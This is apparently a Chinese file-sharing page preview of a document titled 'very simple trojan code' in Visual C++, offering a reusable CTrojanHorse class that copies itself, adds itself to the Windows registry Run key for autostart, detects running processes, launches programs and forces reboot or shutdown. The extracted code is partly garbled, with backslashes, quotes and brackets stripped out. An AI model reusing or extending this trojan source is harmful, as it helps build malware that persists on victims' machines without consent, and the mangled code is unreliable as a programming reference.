Visual C++ 很简单的木马代码.docx

上传人:牧羊曲112 文档编号:3168521 上传时间:2023-03-11 格式:DOCX 页数:7 大小:37.97KB
返回 下载 相关 举报
Visual C++ 很简单的木马代码.docx_第1页
第1页 / 共7页
Visual C++ 很简单的木马代码.docx_第2页
第2页 / 共7页
Visual C++ 很简单的木马代码.docx_第3页
第3页 / 共7页
Visual C++ 很简单的木马代码.docx_第4页
第4页 / 共7页
Visual C++ 很简单的木马代码.docx_第5页
第5页 / 共7页
亲,该文档总共7页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述

《Visual C++ 很简单的木马代码.docx》由会员分享,可在线阅读,更多相关《Visual C++ 很简单的木马代码.docx(7页珍藏版)》请在三一办公上搜索。

1、Visual C+ 很简单的木马代码Visual C+编程时用到了这些功能,现在我把它组装成一个很简单的木马了. 本代码已封装成类方便代码重用 :1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能. 交流 class CTrojanHorse public:/add code public:/add code CTrojanHorse; CTrojanHorse; protected:/add code BOOL IfShell(CString BeKissPrcName); BOOL CopyFileaddr(CString m_CopyFile); void

2、 ShellFile(CString m_ShellFile); BOOL SetAutoRun(CString strPath); void ShutDown; private:/add code ; CTrojanHorse:CTrojanHorse /add code CTrojanHorse:CTrojanHorse /add code BOOL CTrojanHorse:IfShell(CString BeKissPrcName)/判断程序是否在运行 CString str,a,prcnum; / CMainFrame *pDlg=(CMainFrame *)lparam; /Afx

3、MessageBox(pDlg->BeKissPrcName); HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); SHFILEINFO shSmall; PROCESSENTRY32 ProcessInfo;/声明进程信息变量 ProcessInfo.dwSize=sizeof(ProcessInfo);/设置ProcessInfo的大小 /返回系统中第一个进程的信息 BOOL Status=Process32First(SnapShot,&ProcessInfo); int m_nProcess=0; int

4、 num=0; while(Status) num+; m_nProcess+; ZeroMemory(&shSmall,sizeof(shSmall);/获取进程文件信息 SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall, sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON); /str.Format(%08x,ProcessInfo.th32ProcessID); str=ProcessInfo.szExeFile; if(str=BeKissPrcName) AfxMessageBox(找到进程成功!); re

5、turn true; /获取下一个进程的信息 Status=Process32Next(SnapShot,&ProcessInfo); AfxMessageBox(失败!); return false; BOOL CTrojanHorse:CopyFileaddr(CString m_CopyFile)/复制文件 char pBufMAX_PATH; CString m_addr; / CString m_strSrcFile1=D:/OperateFile.exe; / CString m_addr=D:/SVCLSV.exe; /存放路径的变量 GetCurrentDirectory(MA

6、X_PATH,pBuf); /获取程序的当前目录 strcat(pBuf,); strcat(pBuf,AfxGetApp->m_pszExeName); strcat(pBuf,.exe); m_addr=pBuf; if(CopyFile(m_addr,m_CopyFile,FALSE) AfxMessageBox(复制成功!); return true; return false; void CTrojanHorse:ShellFile(CString m_ShellFile)/执行所要的程序 ShellExecute(NULL,open,m_ShellFile,NULL,NULL,

7、SW_SHOWNORMAL); BOOL CTrojanHorse:SetAutoRun(CString strPath)/修改注册表 CString str; HKEY hRegKey; BOOL bResult; str=_T(SoftwareMicrosoftWindowsCurrentVersionRun); if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS) bResult=FALSE; else _splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBuff

8、erSetLength(MAX_PATH+1),NULL); strPath.ReleaseBuffer; str.ReleaseBuffer; if(:RegSetValueEx( hRegKey, str, 0, REG_SZ, (CONST BYTE *)strPath.GetBuffer(0), strPath.GetLength ) != ERROR_SUCCESS) bResult=FALSE; else bResult=TRUE; strPath.ReleaseBuffer; return bResult; void CTrojanHorse:ShutDown/重新启动计算机 i

9、f (IDYES = MessageBox(是否现在重新启动计算机?, 注册表提示, MB_YESNO) OSVERSIONINFO OsVerInfo; /保存系统版本信息的数据结构 OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&OsVerInfo);/取得系统的版本信息 CString str1 = , str2 = ; str1.Format(你的系统信息n版本为:%d.%dn, OsVerInfo.dwMajorVersion, OsVerInfo.dwMinorVersion); str2.Format(型号:%dn, OsVerInfo.dwBuildNumber); str1 += str2; AfxMessageBox(str1); if(OsVerInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); /重新启动计算机

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 生活休闲 > 在线阅读


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号